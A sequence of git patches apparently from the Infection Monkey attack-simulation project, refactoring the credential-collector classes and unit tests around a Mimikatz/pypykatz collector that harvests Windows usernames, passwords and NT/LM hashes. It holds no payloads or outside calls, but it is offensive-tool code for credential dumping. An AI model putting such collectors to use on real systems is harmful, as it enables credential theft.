.../credential_collectors/credential_components/nt_hash.py | 3 ++- .../credential_collectors/credential_components/password.py | 3 ++- .../credential_collectors/credential_components/ssh_keypair.py | 3 ++- .../credential_collectors/credential_components/username.py | 3 ++- 6 files changed, 10 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py index 43ebb9aca..f2d46c091 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py @@ -7,4 +7,3 @@ from ..credential_type import CredentialType @dataclass class ICredentialComponent(ABC): type: CredentialType - content: dict diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index d9557c9b0..ecfb97d49 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -4,4 +4,5 @@ from .i_credential_component import ICredentialComponent class LMHash(ICredentialComponent): def __init__(self, lm_hash: str): - super().__init__(type=CredentialType.NTLM_HASH, content={"lm_hash": lm_hash}) + super().__init__(type=CredentialType.NTLM_HASH) + self.lm_hash = lm_hash diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index ae412310e..5ffc83016 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -4,4 +4,5 @@ from .i_credential_component import ICredentialComponent class NTHash(ICredentialComponent): def __init__(self, nt_hash: str): - super().__init__(type=CredentialType.NTLM_HASH, content={"nt_hash": nt_hash}) + super().__init__(type=CredentialType.NTLM_HASH) + self.nt_hash = nt_hash diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 87abe1575..01b970de0 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -4,4 +4,5 @@ from .i_credential_component import ICredentialComponent class Password(ICredentialComponent): def __init__(self, password: str): - super().__init__(type=CredentialType.PASSWORD, content={"password": password}) + super().__init__(type=CredentialType.PASSWORD) + self.password = password diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 040256ee0..0ccb14ec3 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -4,4 +4,5 @@ from .i_credential_component import ICredentialComponent class SSHKeypair(ICredentialComponent): def __init__(self, content: dict): - super().__init__(type=CredentialType.SSH_KEYPAIR, content=content) + super().__init__(type=CredentialType.SSH_KEYPAIR) + self.content = content diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 98c7b0b3d..154fa3817 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -4,4 +4,5 @@ from .i_credential_component import ICredentialComponent class Username(ICredentialComponent): def __init__(self, username: str): - super().__init__(type=CredentialType.USERNAME, content={"username": username}) + super().__init__(type=CredentialType.USERNAME) + self.username = username From 01612c402aa462bf8f1106d5c68911b155ce2438 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 14:58:03 +0200 Subject: [PATCH 0389/1110] Agent: add options to ICredentialCollector interface --- .../credential_collectors/i_credential_collector.py | 4 ++-- .../mimikatz_collector/mimikatz_cred_collector.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/i_credential_collector.py b/monkey/infection_monkey/credential_collectors/i_credential_collector.py index 15798cf06..846cd26ec 100644 --- a/monkey/infection_monkey/credential_collectors/i_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/i_credential_collector.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from typing import List +from typing import List, Mapping, Union from .credentials import Credentials class ICredentialCollector(ABC): @abstractmethod - def collect_credentials(self) -> List[Credentials]: + def collect_credentials(self, options: Union[Mapping, None]) -> List[Credentials]: pass diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 708bc7a32..75a84c0bb 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -14,7 +14,7 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self) -> List[Credentials]: + def collect_credentials(self, options=None) -> List[Credentials]: creds = pypykatz_handler.get_windows_creds() return MimikatzCredentialCollector._to_credentials(creds) From ae9fed3c2b0ab97f9cfab41a5611df08143ae99a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 16:16:43 +0200 Subject: [PATCH 0390/1110] Agent: fixup typehints in ICredentialCollector --- .../credential_collectors/i_credential_collector.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/i_credential_collector.py b/monkey/infection_monkey/credential_collectors/i_credential_collector.py index 846cd26ec..847cd929d 100644 --- a/monkey/infection_monkey/credential_collectors/i_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/i_credential_collector.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from typing import List, Mapping, Union +from typing import Iterable, Mapping, Optional from .credentials import Credentials class ICredentialCollector(ABC): @abstractmethod - def collect_credentials(self, options: Union[Mapping, None]) -> List[Credentials]: + def collect_credentials(self, options: Optional[Mapping]) -> Iterable[Credentials]: pass From d392de4a022533d1b526938c0dc1cbd3f73c0ed4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 18:31:28 +0200 Subject: [PATCH 0391/1110] Agent: remove ssh_keypair, as it's not used anywhere --- monkey/infection_monkey/credential_collectors/__init__.py | 1 - .../credential_components/ssh_keypair.py | 8 -------- .../credential_collectors/credential_type.py | 1 - 3 files changed, 10 deletions(-) delete mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index 7d48c7bb1..7265bbc00 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -2,6 +2,5 @@ from .i_credential_collector import ICredentialCollector from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password -from .credential_components.ssh_keypair import SSHKeypair from .credential_components.username import Username from .credentials import Credentials diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py deleted file mode 100644 index 0ccb14ec3..000000000 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ /dev/null @@ -1,8 +0,0 @@ -from ..credential_type import CredentialType -from .i_credential_component import ICredentialComponent - - -class SSHKeypair(ICredentialComponent): - def __init__(self, content: dict): - super().__init__(type=CredentialType.SSH_KEYPAIR) - self.content = content diff --git a/monkey/infection_monkey/credential_collectors/credential_type.py b/monkey/infection_monkey/credential_collectors/credential_type.py index 5e8a9e6ea..bab015dd8 100644 --- a/monkey/infection_monkey/credential_collectors/credential_type.py +++ b/monkey/infection_monkey/credential_collectors/credential_type.py @@ -2,7 +2,6 @@ from enum import Enum class CredentialType(Enum): - SSH_KEYPAIR = 1 USERNAME = 2 PASSWORD = 3 NTLM_HASH = 4 From 26806392ec04ef9608cb76854fdc520f92660388 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 18:33:04 +0200 Subject: [PATCH 0392/1110] Agent: split up nt and lm hash credential types --- .../infection_monkey/credential_collectors/credential_type.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_type.py b/monkey/infection_monkey/credential_collectors/credential_type.py index bab015dd8..b437e0b87 100644 --- a/monkey/infection_monkey/credential_collectors/credential_type.py +++ b/monkey/infection_monkey/credential_collectors/credential_type.py @@ -4,4 +4,5 @@ from enum import Enum class CredentialType(Enum): USERNAME = 2 PASSWORD = 3 - NTLM_HASH = 4 + NT_HASH = 4 + LM_HASH = 5 From 8868fb9b0ce4bae5b0ff5ba060ac0e8b514a358d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 18:35:32 +0200 Subject: [PATCH 0393/1110] Agent: change ICredentialComponent interface Interface changed from dataclass (dataclasses are not inheritable) to simple class with type abstract property --- .../credential_components/i_credential_component.py | 11 ++++++----- .../credential_components/lm_hash.py | 3 ++- .../credential_components/nt_hash.py | 3 ++- .../credential_components/password.py | 3 ++- .../credential_components/username.py | 3 ++- 5 files changed, 14 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py index f2d46c091..97b3e35c4 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py @@ -1,9 +1,10 @@ -from abc import ABC -from dataclasses import dataclass +from abc import ABC, abstractmethod -from ..credential_type import CredentialType +from infection_monkey.credential_collectors.credential_type import CredentialType -@dataclass class ICredentialComponent(ABC): - type: CredentialType + @property + @abstractmethod + def type(self) -> CredentialType: + pass diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index ecfb97d49..603422dca 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -3,6 +3,7 @@ from .i_credential_component import ICredentialComponent class LMHash(ICredentialComponent): + type = CredentialType.LM_HASH + def __init__(self, lm_hash: str): - super().__init__(type=CredentialType.NTLM_HASH) self.lm_hash = lm_hash diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index 5ffc83016..9ca0f888d 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -3,6 +3,7 @@ from .i_credential_component import ICredentialComponent class NTHash(ICredentialComponent): + type = CredentialType.NT_HASH + def __init__(self, nt_hash: str): - super().__init__(type=CredentialType.NTLM_HASH) self.nt_hash = nt_hash diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 01b970de0..cf546aac6 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -3,6 +3,7 @@ from .i_credential_component import ICredentialComponent class Password(ICredentialComponent): + type = CredentialType.PASSWORD + def __init__(self, password: str): - super().__init__(type=CredentialType.PASSWORD) self.password = password diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 154fa3817..578551489 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -3,6 +3,7 @@ from .i_credential_component import ICredentialComponent class Username(ICredentialComponent): + type = CredentialType.USERNAME + def __init__(self, username: str): - super().__init__(type=CredentialType.USERNAME) self.username = username From ac376a00145099fe5bff88b6859627d4069f8be6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 18:39:17 +0200 Subject: [PATCH 0394/1110] Agent: change the interface of Credentials Refactor from dataclass to object with tuples. This enforces read only identities and secrets so users don't modify them --- .../credential_collectors/credentials.py | 11 ++-- .../mimikatz_cred_collector.py | 17 +++--- .../test_mimikatz_collector.py | 60 ++++++++++++++----- 3 files changed, 59 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credentials.py b/monkey/infection_monkey/credential_collectors/credentials.py index dc7d9a375..1e3d05844 100644 --- a/monkey/infection_monkey/credential_collectors/credentials.py +++ b/monkey/infection_monkey/credential_collectors/credentials.py @@ -1,10 +1,11 @@ -from dataclasses import dataclass -from typing import List +from typing import Iterable from .credential_components.i_credential_component import ICredentialComponent -@dataclass class Credentials: - identities: List[ICredentialComponent] - secrets: List[ICredentialComponent] + def __init__( + self, identities: Iterable[ICredentialComponent], secrets: Iterable[ICredentialComponent] + ): + self.identities = tuple(identities) + self.secrets = tuple(secrets) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 75a84c0bb..9463b3d4f 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -8,7 +8,6 @@ from infection_monkey.credential_collectors import ( Password, Username, ) - from . import pypykatz_handler from .windows_credentials import WindowsCredentials @@ -22,24 +21,24 @@ class MimikatzCredentialCollector(ICredentialCollector): def _to_credentials(win_creds: List[WindowsCredentials]) -> [Credentials]: all_creds = [] for win_cred in win_creds: - creds_obj = Credentials(identities=[], secrets=[]) + identities = [] + secrets = [] if win_cred.username: identity = Username(win_cred.username) - creds_obj.identities.append(identity) + identities.append(identity) if win_cred.password: password = Password(win_cred.password) - creds_obj.secrets.append(password) + secrets.append(password) if win_cred.lm_hash: lm_hash = LMHash(lm_hash=win_cred.lm_hash) - creds_obj.secrets.append(lm_hash) + secrets.append(lm_hash) if win_cred.ntlm_hash: lm_hash = NTHash(nt_hash=win_cred.ntlm_hash) - creds_obj.secrets.append(lm_hash) - - if creds_obj.identities != [] or creds_obj.secrets != []: - all_creds.append(creds_obj) + secrets.append(lm_hash) + if identities != [] or secrets != []: + all_creds.append(Credentials(identities, secrets)) return all_creds diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index 0bf0c3628..9e45fd4c6 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -1,4 +1,4 @@ -from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username +from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, ) @@ -28,27 +28,57 @@ def test_empty_results(monkeypatch): def test_pypykatz_result_parsing(monkeypatch): + win_creds = [WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash="")] + patch_pypykatz(win_creds, monkeypatch) + + # Expected credentials + username = Username("user") + password = Password("secret") + + collected = MimikatzCredentialCollector().collect_credentials() + assert len(list(collected)) == 1 + assert list(collected)[0].identities[0].__dict__ == username.__dict__ + assert list(collected)[0].secrets[0].__dict__ == password.__dict__ + + +def test_pypykatz_result_parsing_duplicates(monkeypatch): win_creds = [ WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), - WindowsCredentials(username="", password="", ntlm_hash="ntlm_hash", lm_hash="lm_hash"), WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), + ] + patch_pypykatz(win_creds, monkeypatch) + + collected = MimikatzCredentialCollector().collect_credentials() + assert len(list(collected)) == 2 + + +def test_pypykatz_result_parsing_defaults(monkeypatch): + win_creds = [ WindowsCredentials(username="user2", password="secret2", lm_hash="lm_hash"), ] patch_pypykatz(win_creds, monkeypatch) # Expected credentials - username = Username("user") - username2 = Username("user2") - password = Password("secret") - password2 = Password("secret2") - nt_hash = NTHash(nt_hash="ntlm_hash") - lm_hash = LMHash(lm_hash="lm_hash") + username = Username("user2") + password = Password("secret2") + lm_hash = LMHash("lm_hash") - expected = [ - Credentials(identities=[username], secrets=[password]), - Credentials(identities=[], secrets=[lm_hash, nt_hash]), - Credentials(identities=[username], secrets=[password]), - Credentials(identities=[username2], secrets=[password2, lm_hash]), - ] collected = MimikatzCredentialCollector().collect_credentials() - assert expected == collected + assert list(collected)[0].identities[0].__dict__ == username.__dict__ + assert list(collected)[0].secrets[0].__dict__ == password.__dict__ + assert list(collected)[0].secrets[1].__dict__ == lm_hash.__dict__ + + +def test_pypykatz_result_parsing_no_identities(monkeypatch): + win_creds = [ + WindowsCredentials(username="", password="", ntlm_hash="ntlm_hash", lm_hash="lm_hash"), + ] + patch_pypykatz(win_creds, monkeypatch) + + # Expected credentials + nt_hash = NTHash("ntlm_hash") + lm_hash = LMHash("lm_hash") + + collected = MimikatzCredentialCollector().collect_credentials() + assert list(collected)[0].secrets[0].__dict__ == lm_hash.__dict__ + assert list(collected)[0].secrets[1].__dict__ == nt_hash.__dict__ From 811434ff22a4acc81b902960e498f573433371d8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 18:41:19 +0200 Subject: [PATCH 0395/1110] Agent: improved type hints in mimikatz_cred_collector.py --- .../mimikatz_collector/mimikatz_cred_collector.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 9463b3d4f..c4e27a33c 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Iterable from infection_monkey.credential_collectors import ( Credentials, @@ -13,12 +13,12 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self, options=None) -> List[Credentials]: + def collect_credentials(self, options=None) -> Iterable[Credentials]: creds = pypykatz_handler.get_windows_creds() return MimikatzCredentialCollector._to_credentials(creds) @staticmethod - def _to_credentials(win_creds: List[WindowsCredentials]) -> [Credentials]: + def _to_credentials(win_creds: Iterable[WindowsCredentials]) -> [Credentials]: all_creds = [] for win_cred in win_creds: identities = [] From ebd5642b52f9b3385148478edc8bb369ae368b4a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 12:23:57 -0500 Subject: [PATCH 0396/1110] Agent: Refactor credentials and credential_components as dataclasses Using frozen dataclasses for Credentials and ICredentialComponents automatically creates a useful __eq__() function that allows us to easily compare credentials-related objects. --- .../credential_components/lm_hash.py | 9 ++-- .../credential_components/nt_hash.py | 9 ++-- .../credential_components/password.py | 9 ++-- .../credential_components/username.py | 9 ++-- .../credential_collectors/credentials.py | 11 +++-- .../test_mimikatz_collector.py | 43 +++++++++---------- 6 files changed, 46 insertions(+), 44 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 603422dca..4236a5247 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -1,9 +1,10 @@ +from dataclasses import dataclass, field + from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent +@dataclass(frozen=True) class LMHash(ICredentialComponent): - type = CredentialType.LM_HASH - - def __init__(self, lm_hash: str): - self.lm_hash = lm_hash + type: CredentialType = field(default=CredentialType.LM_HASH, init=False) + lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index 9ca0f888d..6f90f37ff 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -1,9 +1,10 @@ +from dataclasses import dataclass, field + from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent +@dataclass(frozen=True) class NTHash(ICredentialComponent): - type = CredentialType.NT_HASH - - def __init__(self, nt_hash: str): - self.nt_hash = nt_hash + type: CredentialType = field(default=CredentialType.NT_HASH, init=False) + nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index cf546aac6..e3ed03fcf 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,9 +1,10 @@ +from dataclasses import dataclass, field + from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent +@dataclass(frozen=True) class Password(ICredentialComponent): - type = CredentialType.PASSWORD - - def __init__(self, password: str): - self.password = password + type: CredentialType = field(default=CredentialType.PASSWORD, init=False) + password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 578551489..d822e0e20 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,9 +1,10 @@ +from dataclasses import dataclass, field + from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent +@dataclass(frozen=True) class Username(ICredentialComponent): - type = CredentialType.USERNAME - - def __init__(self, username: str): - self.username = username + type: CredentialType = field(default=CredentialType.USERNAME, init=False) + username: str diff --git a/monkey/infection_monkey/credential_collectors/credentials.py b/monkey/infection_monkey/credential_collectors/credentials.py index 1e3d05844..6688e393f 100644 --- a/monkey/infection_monkey/credential_collectors/credentials.py +++ b/monkey/infection_monkey/credential_collectors/credentials.py @@ -1,11 +1,10 @@ -from typing import Iterable +from dataclasses import dataclass +from typing import Tuple from .credential_components.i_credential_component import ICredentialComponent +@dataclass(frozen=True) class Credentials: - def __init__( - self, identities: Iterable[ICredentialComponent], secrets: Iterable[ICredentialComponent] - ): - self.identities = tuple(identities) - self.secrets = tuple(secrets) + identities: Tuple[ICredentialComponent] + secrets: Tuple[ICredentialComponent] diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index 9e45fd4c6..00589eb4b 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -1,4 +1,4 @@ -from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username +from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, ) @@ -18,27 +18,26 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): def test_empty_results(monkeypatch): win_creds = [WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")] patch_pypykatz(win_creds, monkeypatch) - expected = [] - collected = MimikatzCredentialCollector().collect_credentials() - assert expected == collected + expected_credentials = [] + collected_credentials = MimikatzCredentialCollector().collect_credentials() + assert expected_credentials == collected_credentials patch_pypykatz([], monkeypatch) - collected = MimikatzCredentialCollector().collect_credentials() - assert [] == collected + collected_credentials = MimikatzCredentialCollector().collect_credentials() + assert not collected_credentials def test_pypykatz_result_parsing(monkeypatch): win_creds = [WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash="")] patch_pypykatz(win_creds, monkeypatch) - # Expected credentials username = Username("user") password = Password("secret") + expected_credentials = Credentials([username], [password]) - collected = MimikatzCredentialCollector().collect_credentials() - assert len(list(collected)) == 1 - assert list(collected)[0].identities[0].__dict__ == username.__dict__ - assert list(collected)[0].secrets[0].__dict__ == password.__dict__ + collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials def test_pypykatz_result_parsing_duplicates(monkeypatch): @@ -48,8 +47,8 @@ def test_pypykatz_result_parsing_duplicates(monkeypatch): ] patch_pypykatz(win_creds, monkeypatch) - collected = MimikatzCredentialCollector().collect_credentials() - assert len(list(collected)) == 2 + collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + assert len(collected_credentials) == 2 def test_pypykatz_result_parsing_defaults(monkeypatch): @@ -62,11 +61,11 @@ def test_pypykatz_result_parsing_defaults(monkeypatch): username = Username("user2") password = Password("secret2") lm_hash = LMHash("lm_hash") + expected_credentials = Credentials([username], [password, lm_hash]) - collected = MimikatzCredentialCollector().collect_credentials() - assert list(collected)[0].identities[0].__dict__ == username.__dict__ - assert list(collected)[0].secrets[0].__dict__ == password.__dict__ - assert list(collected)[0].secrets[1].__dict__ == lm_hash.__dict__ + collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials def test_pypykatz_result_parsing_no_identities(monkeypatch): @@ -75,10 +74,10 @@ def test_pypykatz_result_parsing_no_identities(monkeypatch): ] patch_pypykatz(win_creds, monkeypatch) - # Expected credentials - nt_hash = NTHash("ntlm_hash") lm_hash = LMHash("lm_hash") + nt_hash = NTHash("ntlm_hash") + expected_credentials = Credentials([], [lm_hash, nt_hash]) - collected = MimikatzCredentialCollector().collect_credentials() - assert list(collected)[0].secrets[0].__dict__ == lm_hash.__dict__ - assert list(collected)[0].secrets[1].__dict__ == nt_hash.__dict__ + collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials From 86f2c7b08c6b0c5c00a4ec7d796f9ad3be9d2ba2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 13:28:38 -0500 Subject: [PATCH 0397/1110] UT: Parametrize test_mimikatz_collector.test_empty_results() --- .../mimikatz_collector/test_mimikatz_collector.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index 00589eb4b..d34228821 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -1,3 +1,5 @@ +import pytest + from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, @@ -15,15 +17,12 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): ) -def test_empty_results(monkeypatch): - win_creds = [WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")] +@pytest.mark.parametrize( + "win_creds", [([WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")]), ([])] +) +def test_empty_results(monkeypatch, win_creds): patch_pypykatz(win_creds, monkeypatch) - expected_credentials = [] - collected_credentials = MimikatzCredentialCollector().collect_credentials() - assert expected_credentials == collected_credentials - - patch_pypykatz([], monkeypatch) - collected_credentials = MimikatzCredentialCollector().collect_credentials() + collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) assert not collected_credentials From 236b545816db8544ce88d89ae18e9f26c89b58ee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 13:30:13 -0500 Subject: [PATCH 0398/1110] UT: Extract function collect_credentials() to reduce code duplication --- .../test_mimikatz_collector.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index d34228821..49af1d003 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -1,3 +1,5 @@ +from typing import List + import pytest from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username @@ -17,12 +19,16 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): ) +def collect_credentials() -> List[Credentials]: + return list(MimikatzCredentialCollector().collect_credentials()) + + @pytest.mark.parametrize( "win_creds", [([WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")]), ([])] ) def test_empty_results(monkeypatch, win_creds): patch_pypykatz(win_creds, monkeypatch) - collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + collected_credentials = collect_credentials() assert not collected_credentials @@ -34,7 +40,7 @@ def test_pypykatz_result_parsing(monkeypatch): password = Password("secret") expected_credentials = Credentials([username], [password]) - collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + collected_credentials = collect_credentials() assert len(collected_credentials) == 1 assert collected_credentials[0] == expected_credentials @@ -46,7 +52,7 @@ def test_pypykatz_result_parsing_duplicates(monkeypatch): ] patch_pypykatz(win_creds, monkeypatch) - collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + 